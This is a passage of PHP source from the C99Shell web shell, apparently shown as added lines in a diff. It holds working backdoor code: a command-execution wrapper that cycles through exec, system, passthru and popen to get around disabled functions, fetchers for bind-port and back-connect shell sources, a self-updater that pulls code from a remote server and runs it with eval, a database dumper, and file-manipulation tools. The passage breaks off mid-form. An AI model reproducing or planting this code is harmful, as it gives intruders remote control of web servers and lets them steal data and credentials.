(!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return false;} + } + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== false) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return false;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = true) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return false;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== false) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = true; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = false; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === false) {$free = 0;} + if ($total === false) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = false;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo 